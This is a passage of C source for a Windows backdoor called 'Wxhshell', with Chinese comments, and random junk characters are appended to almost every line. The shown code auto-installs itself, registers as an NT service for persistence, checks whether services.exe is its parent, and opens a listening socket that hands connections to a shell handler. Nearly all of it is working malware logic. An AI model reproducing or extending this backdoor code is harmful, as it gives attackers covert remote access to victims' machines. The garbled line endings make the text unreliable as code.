ULONG InheritedFromUniqueProcessId; :SN? t
} PROCESS_BASIC_INFORMATION; OBlQ
|iSwG=&
PROCNTQSIP NtQueryInformationProcess; 2XBHo (
\C;Yn6PK0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L*Ffic
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >W/mRv&
z/5TYv)S
HANDLE hProcess; *pS3xit~
PROCESS_BASIC_INFORMATION pbi; %y>*9$<pXe
'dQGb-<_<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $i8oLSRV
if(NULL == hInst ) return 0; It 3@
Cd>
d\A7}_r*x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Odclrs
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &BKnJ{,H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U[yA`7Zs}
gQhYM7NP{5
if (!NtQueryInformationProcess) return 0; c2GTN "
k?3mFWc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qixnaiZ
if(!hProcess) return 0; _ !"[Zr
buKkm$@w
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A;/,</
`7`` 1TL
CloseHandle(hProcess); }{J>kgr6
fWg3gRI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7S=]@*
if(hProcess==NULL) return 0; [ryII hQ
E'+z.~+
HMODULE hMod; %AT/g&M&1#
char procName[255];
VD,g3B p
unsigned long cbNeeded; -yIx:*KI
n]l3
)u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;L],i<F
Y?oeP^V'u
CloseHandle(hProcess); M>BVnB_,-
ms&5Bq+9
if(strstr(procName,"services")) return 1; // 以服务启动 KxJDAP
|a0@4
:
return 0; // 注册表启动 WT 5 2
} tC+11M
rP(;^8l"
// 主模块 *m&'6qsS
int StartWxhshell(LPSTR lpCmdLine) A}uWy^w
{ |D;I>O^"R
SOCKET wsl; : 9>U+)%
BOOL val=TRUE; Oeg^%Y
int port=0; .nA9irc
struct sockaddr_in door; ZS&+<kGD
.q 4FGPWz
if(wscfg.ws_autoins) Install(); =':SOO7
oC!z+<
port=atoi(lpCmdLine); wUS w9xg
}&l%>P
if(port<=0) port=wscfg.ws_port; dZd]p8
/5>A 2y
WSADATA data; [].euDrX
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RbA.&=3
8X\":l:
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0w2<2grQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H7 {kl
door.sin_family = AF_INET; )5diX
+
k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); IS{>(XT{
door.sin_port = htons(port); *MCkezW7{
tg2+Z\0)4g
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -?)z@Lc
closesocket(wsl); ZoqE,ucH
return 1; 2tp95E`(O
} *2m{i:3
#("E)P
if(listen(wsl,2) == INVALID_SOCKET) { 5G#2#Al(F
closesocket(wsl); ~P-^An^
return 1; 8hX/~-H
} SmP&wNHQf
Wxhshell(wsl); .T~Oc'wGo
WSACleanup(); $C{-gx+:
=^ x1:Ak
return 0; U]E~7C
~#rmw6y
} ukee.:{
s%zdP
// 以NT服务方式启动 \-Q6z8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NF*Z<$ '%
{ 40;4=
DWORD status = 0; <q4<3A
DWORD specificError = 0xfffffff;
}K 2fwE
|s !7U
serviceStatus.dwServiceType = SERVICE_WIN32; W_]onq6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [Al}GM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ch&2{ng
serviceStatus.dwWin32ExitCode = 0; >
a 8'MK
serviceStatus.dwServiceSpecificExitCode = 0; A9y3B^\*
serviceStatus.dwCheckPoint = 0; s";9G^:
serviceStatus.dwWaitHint = 0; Xf|I=XK
N*}g+IS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H7Ee0T(`
if (hServiceStatusHandle==0) return; Yc>.P
`Y<FR
status = GetLastError(); mx0EEU*
if (status!=NO_ERROR) >Cglhsb:N
{ Fau24-g
serviceStatus.dwCurrentState = SERVICE_STOPPED; MB?762Q
serviceStatus.dwCheckPoint = 0; lM%3 ?~?Q&
serviceStatus.dwWaitHint = 0; KN\tRE
serviceStatus.dwWin32ExitCode = status; t \,XG
serviceStatus.dwServiceSpecificExitCode = specificError; $_W kI^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); = iWn
T
return; wvEdZGO8!
} :T/I%|;f
%Wg8dy|
serviceStatus.dwCurrentState = SERVICE_RUNNING; V.kf@
serviceStatus.dwCheckPoint = 0; Cfst)[j
serviceStatus.dwWaitHint = 0; SOJkeN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mA\}zLw+r9
} WQltUaF
ggzcANCD<
// 处理NT服务事件,比如:启动、停止 AKUmh
VOID WINAPI NTServiceHandler(DWORD fdwControl) c"S{5xh0&
{ 3TnrPO1E
switch(fdwControl) o;{BI
Q1
{ zHQSx7Ow 5
case SERVICE_CONTROL_STOP: 6tBe,'*
serviceStatus.dwWin32ExitCode = 0; u'"]{.K>fb
serviceStatus.dwCurrentState = SERVICE_STOPPED; = _/XFN
serviceStatus.dwCheckPoint = 0; /G!M\teeF
serviceStatus.dwWaitHint = 0; >B+!fi'SS>
{ B5/"2i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %_ Vj'z~T
} 0-IL@Di`F
return; =a_ >")
case SERVICE_CONTROL_PAUSE: Ou2p^:C(
serviceStatus.dwCurrentState = SERVICE_PAUSED; w@hbY:Z9z
break; 8/ PS#dM\
case SERVICE_CONTROL_CONTINUE: 5P![fX|5
serviceStatus.dwCurrentState = SERVICE_RUNNING; v4X)R
"jJ
break; \) g?mj^
case SERVICE_CONTROL_INTERROGATE: cFloaCz
break; /NFm6AA]
}; !,JV<(7k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3V0^v
} :$&